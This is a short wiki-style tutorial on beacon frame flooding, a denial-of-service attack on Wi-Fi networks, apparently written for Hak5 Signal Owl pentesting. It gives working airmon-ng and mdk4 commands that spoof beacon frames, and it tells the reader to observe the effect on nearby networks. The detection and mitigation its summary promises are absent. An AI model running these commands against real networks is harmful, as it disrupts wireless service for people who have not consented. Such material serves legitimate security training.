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== Summary == 

This documentation provides an overview of Beacon Frame Flooding attacks, a form of Denial-of-Service (DoS) targeting wireless networks by overloading them with spoofed beacon frames. It discusses how these attacks are implemented, their impact, and detection and mitigation techniques.

== Requirements ==

* Operating system: Linux-based distributions with support for monitor mode (e.g., Ubuntu 20.04).
* Software tools: MDK4, Aircrack-ng

In order to complete these steps, you must have followed [[Hak5 Signal Owl]]: before.

== Description ==

=== Step 1 ===

Understanding Beacon Frames

Beacon frames are management packets broadcast by wireless access points (APs) to announce their presence. These frames include:

    SSID (network name).
    BSSID (AP MAC address).
    Channel and frequency details.
    Security protocol indicators (e.g., WPA2, WPA3).

=== Step 2 ===

* Enable monitor mode on the wireless network adapter:

    airmon-ng start wlan0

* Execute MDK4 to generate spoofed beacon frames:

    mdk4 wlan0mon b -a -m -s 500

* Observe the impact on the surrounding wireless environment.

== Used Hardware ==

[[Hak5 Signal Owl]]: Device for automated pentesting tasks.

== References ==

*https://docs.hak5.org/signal-owl/
*https://github.com/hak5/signalowl-payloads

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